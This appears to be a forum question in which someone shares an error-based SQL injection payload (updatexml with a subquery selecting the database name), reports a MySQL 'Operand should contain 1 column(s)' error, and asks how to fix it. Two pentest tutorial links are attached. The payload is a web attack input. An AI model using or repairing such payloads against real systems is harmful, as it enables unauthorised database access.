SQL Injection "Error 1 – Operand should contain 1 column(s)"

SQL Injection "Error 1 – Operand should contain 1 column(s)"

I am injecting:

-35' and updatexml(null,concat(0x3a,(0x0a,(select database()))),null)-- -

and I am receiving:

Error 1 - Operand should contain 1 column(s)

Any idea how to fix this? I am trying to get the database type.

References:

• http://www.securityidiots.com/Web-Pentest/SQL-Injection/Error-Based-Injection-Subquery-Injection.html
• http://securityidiots.com/Web-Pentest/SQL-Injection/XPATH-Error-Based-Injection-UpdateXML.html